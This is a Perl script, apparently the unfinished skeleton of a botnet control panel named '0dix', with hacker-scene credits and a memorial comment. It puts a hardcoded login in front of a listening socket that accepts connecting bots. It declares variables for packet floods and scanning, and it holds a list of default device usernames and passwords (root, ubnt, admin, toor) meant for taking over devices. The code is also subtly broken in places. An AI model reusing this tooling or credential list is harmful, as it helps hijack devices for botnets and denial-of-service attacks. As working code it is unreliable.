#!usr/bin/perl -w
use Term::ANSIColor;
use LWP;
use IO::Socket::INET;
use LWP::UserAgent;
my $ua = new LWP::UserAgent();
my $ip = $ua->get('https://icanhazip.com')->content;
my $username = "Admin";
my $password = "12345";
my ($User,$Pass);
#0dix By SonnySpooks~
#No Skidding My c0dez PL0x
#WIP
# we loved you Sonny, we wished you didn't have to do what you did
# you was such a good researcher, you had such good intentions.
# you was flawless & intelligent. you was really smart.
# you've breached/leaked plently of large companies.
# you managed to do alot in the years you was here.
# I'm sorry that i now have to say RIP before you name
# rest in peace my dude. I'm still wishing i could have
# just one more conversation with you man. Goodbye man. -Chris Poole \ @codingplanets
# We in the scene love you man. -Everyone
#-------------------------------------------------------------------------------------------------------#
#Starting The Script. Red Ascii Dragon.                                                                 #
#-------------------------------------------------------------------------------------------------------#
if($^O =~ /Win/){

  system("cls");

}else{

system("clear");
}
while(4){
print color "BRIGHT_RED";
print <<EOTEX;
<--------------------->
 |       Login       |
<--------------------->
EOTEX
print "Username: ";
chomp($User = <STDIN>);
print "Password: ";
chomp($Pass = <STDIN>);
print "Port: ";
chomp($port = <STDIN>);
if($User eq "$username" and $Pass eq "$password"){
if($^O =~ /Win/){

  system("cls");

}else{

system("clear");
}
Connect();
print color "reset";
print color "BRIGHT_YELLOW";
print <<EOTEXT;
                      .:'                                  `:.
                     ::'                                    `::
                    :: :.                                  .: ::
                     `:. `:.             .             .:'  .:'
                      `::. `::           !           ::' .::'
                          `::.`::.    .' ! `.    .::'.::'
                            `:.  `::::'':!:``::::'   ::'
                            :'*:::.  .:' ! `:.  .:::*`:
                           :: HHH::.   ` ! '   .::HHH ::
                          ::: `H TH::.  `!'  .::HT H' :::
                          ::..  `THHH:`:   :':HHHT'  ..::
                          `::      `T: `. .' :T'      ::'
                            `:. .   :         :   . .:'
                              `::'               `::'
                                :'  .`.  .  .'.  `:
                                :' ::.       .:: `:
                                :' `:::     :::' `:
                                 `.  ``     ''  .'
                                  :`...........':
                                  ` :`.     .': '
                                   `:  `"""'  :'

                                      ~Odix~
EOTEXT
sub Connect{
$connect = new IO::Socket::INET (
PeerHost => "$ip",
LocalPort => "$port",
Proto => 'tcp',
Listen => 5,
Reuse => 1
) or die "ERROR in Socket Creation\n";
}
print color "reset";
print color "BRIGHT_RED";
#-------------------------------------------------------------------------------------------------------#
#      Host and Client Variables Along Side Other Variables For Packets and Utilization of Servers.     #
#-------------------------------------------------------------------------------------------------------#
my ($Host, $Method, $Port, $Message); #Host
my ($Client, $CMethod, $CPort, $CSocket); #Client
my ($Time, $Size, $Count); #Packets
my ($Range, $User, $Pass); #Utilization Of Roots.
my ($Target, $Command); #Root Command
my ($VNC,$ip); #Scanning
my ($Bots);
#-------------------------------------------------------------------------------------------------------#
#                                            Utilizing                                                  #
#-------------------------------------------------------------------------------------------------------#
my @User = ('root','ubnt','admin'); #Usernames
my @Pass = ('root','ubnt','admin','toor','myinternet101'); #Passwords
my $MaxRange = int(rand(255));
my $LowRange = int(rand(50000));
print "|----------------------------------------------------------------------------------|\n";
print "|--------------------------------------0dix----------------------------------------|\n";
print "|----------------------------------------------------------------------------------|\n";
#----------------------------------
print color "reset";
print color "BRIGHT_YELLOW";
while ($tcp = $connect->accept()){
my $post = <$tcp>;
print $tcp <<EOTEXT;
                                      ~Odix~
                                   The Wasteland
EOTEXT
print "Connected User !";
}
}else{
print color ("reset");
print color "BRIGHT_RED";
print "Denied !\n";
}
}